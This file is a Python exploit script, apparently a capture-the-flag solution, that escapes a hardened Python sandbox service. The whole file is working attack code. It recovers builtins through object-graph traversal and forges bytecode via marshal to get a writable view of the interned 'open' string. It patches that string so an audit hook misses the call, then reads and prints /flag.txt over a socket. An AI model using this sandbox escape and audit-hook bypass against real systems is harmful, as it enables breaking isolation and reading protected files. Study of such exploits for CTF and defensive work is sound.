#!/usr/bin/env python3
"""Exploit the hardened Python Pwned v2 service without external packages."""

from __future__ import annotations

import argparse
import re
import socket
import sys


FLAG_RE = re.compile(rb"[A-Za-z0-9_]+\{[^}\r\n]+\}")


def build_payload(flag_path: str) -> str:
    """Return the single source line consumed by app.py's input() call."""
    parts = [
        # Empty builtins do not stop object-graph traversal.
        "b=[x for x in ().__class__.__base__.__subclasses__() "
        "if x.__name__=='BuiltinImporter'][0].load_module('builtins')",
        "s=b.__import__('sys')",
        "m=s.modules['marshal']",
        # frozenset() copied the tuple, but retained these exact string objects.
        "u=[x for x in s.modules['__main__'].auditor.__code__.co_consts "
        "if b.isinstance(x,b.tuple) and 'open' in x][0]",
        "t=u[u.index('open')]",
        "f=b.open",
        "p=b.print",
        "o=b.bytearray()",
        # Specialization discloses bytearray's live type-version tag.
        "g=lambda x:x.count(0)",
        "[g(o) for _ in [0]*100]",
        "a=g.__code__._co_code_adaptive",
        "c=(lambda:(v,o,v,o)).__code__",
        # Forge STORE_ATTR_SLOT with the bytearray type-version cache.
        "h=b'\\x97\\x00\\x74\\x00'+b'\\x09\\x00'*4+"
        "b'\\x74\\x02'+b'\\x09\\x00'*4+"
        "b'\\x94\\x00\\x09\\x00'+a[8:12]",
        "z=b'\\x79\\x00'+b'\\x09\\x00'*6",
        "q=m.dumps(c)",
        "j=q.find(c.co_code)",
        "j>=0 or 1/0",
        # Point an empty bytearray's ob_start at the shared 'open' str object.
        "e=m.loads(q[:j]+h+(b.bytearray.__basicsize__-16).to_bytes(2,s.byteorder)+"
        "z+q[j+b.len(c.co_code):])",
        "b.eval(e,{'v':t,'o':o,'__builtins__':{}})",
        # Replace ob_size=0 with a large pointer value, making the view writable.
        "e=m.loads(q[:j]+h+b.object.__basicsize__.to_bytes(2,s.byteorder)+"
        "z+q[j+b.len(c.co_code):])",
        "b.eval(e,{'v':t,'o':o,'__builtins__':{}})",
        # Compact ASCII data is inline; locate it rather than hard-coding offset 40.
        "k=o.find(t.encode(),0,b.str.__basicsize__)",
        "k>=0 or 1/0",
        # 'open' -> 'xpen' disables only the audit event named 'open'.
        "o[k]=120",
        f"F=f({flag_path!r})",
        # Restore the interned string as soon as the audited open() call returns.
        "o[k]=111",
        "d=F.read()",
        "F.close()",
        "p(d)",
    ]
    payload = ";".join(parts)
    if "\n" in payload or "\r" in payload:
        raise ValueError("payload must fit on one input line")
    return payload


def receive_until(sock: socket.socket, marker: bytes) -> bytes:
    data = bytearray()
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data.extend(chunk)
    return bytes(data)


def receive_all(sock: socket.socket) -> bytes:
    data = bytearray()
    while True:
        try:
            chunk = sock.recv(4096)
        except TimeoutError:
            break
        if not chunk:
            break
        data.extend(chunk)
    return bytes(data)


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("host", nargs="?", default="127.0.0.1")
    parser.add_argument("-p", "--port", type=int, default=25776)
    parser.add_argument("--flag-path", default="/flag.txt")
    parser.add_argument("--timeout", type=float, default=5.0)
    parser.add_argument("--show-payload", action="store_true")
    args = parser.parse_args()

    payload = build_payload(args.flag_path)
    if args.show_payload:
        print(payload, file=sys.stderr)

    try:
        with socket.create_connection((args.host, args.port), args.timeout) as sock:
            sock.settimeout(args.timeout)
            receive_until(sock, b"$ ")
            sock.sendall(payload.encode() + b"\n")
            response = receive_all(sock)
    except OSError as exc:
        parser.error(f"could not exploit {args.host}:{args.port}: {exc}")

    match = FLAG_RE.search(response)
    if match is None:
        sys.stderr.buffer.write(b"target response: " + response + b"\n")
        parser.error("exploit ran, but no flag-shaped value was returned")

    sys.stdout.buffer.write(match.group(0) + b"\n")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())